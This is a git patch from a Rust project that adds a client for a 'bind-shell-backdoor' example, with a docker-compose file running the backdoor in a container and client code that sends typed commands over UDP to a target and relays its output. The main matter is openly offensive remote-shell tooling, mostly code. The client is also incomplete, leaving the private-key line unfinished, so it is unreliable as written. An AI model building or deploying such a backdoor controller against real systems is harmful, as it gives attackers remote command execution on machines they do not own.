From 50bca921942f22eacd4f1e10ea3d29bac67b88ab Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Fri, 28 Apr 2023 18:05:08 -0400 Subject: [PATCH] feat: added a client, but forgot to add signing --- .devcontainer/Dockerfile | 2 +- .gitignore | 4 +- Cargo.lock | 4 ++ docker-compose.yml | 13 ++++++ examples/bind-shell/client/Cargo.toml | 2 + examples/bind-shell/client/src/main.rs | 59 +++++++++++++++++++++++++- 6 files changed, 79 insertions(+), 5 deletions(-) diff --git a/.devcontainer/Dockerfile b/.devcontainer/Dockerfile index daa8118..aff461e 100644 --- a/.devcontainer/Dockerfile +++ b/.devcontainer/Dockerfile @@ -16,4 +16,4 @@ FROM rust:1-alpine RUN apk add bash docker git cmake make automake musl-dev \ - flex bison linux-headers openssl-dev apache2-utils \ No newline at end of file + flex bison linux-headers openssl-dev apache2-utils docker-compose \ No newline at end of file diff --git a/.gitignore b/.gitignore index 0cb0db1..2f4d92b 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,3 @@ target -examples/bind-shell-backdoor/pubkey -examples/bind-shell-backdoor/privkey \ No newline at end of file +examples/bind-shell/key-generator/pubkey +examples/bind-shell/key-generator/privkey \ No newline at end of file diff --git a/Cargo.lock b/Cargo.lock index 0d9ca42..6681ff8 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -74,6 +74,10 @@ checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" [[package]] name = "client" version = "0.1.0" +dependencies = [ + "anyhow", + "ed25519-dalek", +] [[package]] name = "cmake" diff --git a/docker-compose.yml b/docker-compose.yml index e69de29..b66bcbd 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -0,0 +1,13 @@ +version: '3.8' +services: + examples_bindshell_target: + image: ubuntu:20.04 + volumes: + - ./target:/backdoor + command: /backdoor/release/bind-shell-backdoor + + examples_bindshell_client: + image: alpine + volumes: + - ./target:/backdoor + command: /backdoor/release/client examples_bindshell_target:54248 \ No newline at end of file diff --git a/examples/bind-shell/client/Cargo.toml b/examples/bind-shell/client/Cargo.toml index 729587b..34c92ee 100644 --- a/examples/bind-shell/client/Cargo.toml +++ b/examples/bind-shell/client/Cargo.toml @@ -6,3 +6,5 @@ edition = "2021" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] +anyhow = "1.0.70" +ed25519-dalek = "1.0.1" \ No newline at end of file diff --git a/examples/bind-shell/client/src/main.rs b/examples/bind-shell/client/src/main.rs index e7a11a9..225b4fa 100644 --- a/examples/bind-shell/client/src/main.rs +++ b/examples/bind-shell/client/src/main.rs @@ -1,3 +1,58 @@ -fn main() { - println!("Hello, world!"); +use std::{io::prelude::*, net::UdpSocket, thread}; + +use anyhow::anyhow; + +const PRIVKEY: &[u8] = include_bytes!("../../key-generator/privkey"); + +fn main() -> anyhow::Result<()> { + let privkey = + + let mut stdout = std::io::stdout(); + let mut stderr = std::io::stderr(); + let stdin = std::io::stdin(); + + let mut args = std::env::args(); + args.next(); + let target = args.next().ok_or(anyhow!("Please specify a target IP"))?; + + let remote_stdin = UdpSocket::bind("0.0.0.0:0")?; + let remote_stdout = UdpSocket::bind("0.0.0.0:54248")?; + let remote_stderr = UdpSocket::bind("0.0.0.0:54249")?; + + let out_thread = thread::spawn(move || { + let mut buffer = [0u8; 1024]; + + loop { + let Ok(amount) = remote_stdout.recv(&mut buffer[..]) else { continue; }; + let Ok(_) = stdout.write(&mut buffer[..amount]) else { continue; }; + } + }); + + let err_thread = thread::spawn(move || { + let mut buffer = [0u8; 1024]; + + loop { + let Ok(amount) = remote_stderr.recv(&mut buffer[..]) else { continue; }; + let Ok(_) = stderr.write(&mut buffer[..amount]) else { continue; }; + } + }); + + loop { + let mut cmd = String::new(); + let Ok(_) = stdin.read_line(&mut cmd) else { continue; }; + let cmd = cmd.trim(); + + if cmd == "exit" { + break; + } + + let Ok(_) = remote_stdin.send_to(cmd.as_bytes(), &target) else { + continue; + }; + } + + drop(out_thread); + drop(err_thread); + + Ok(()) }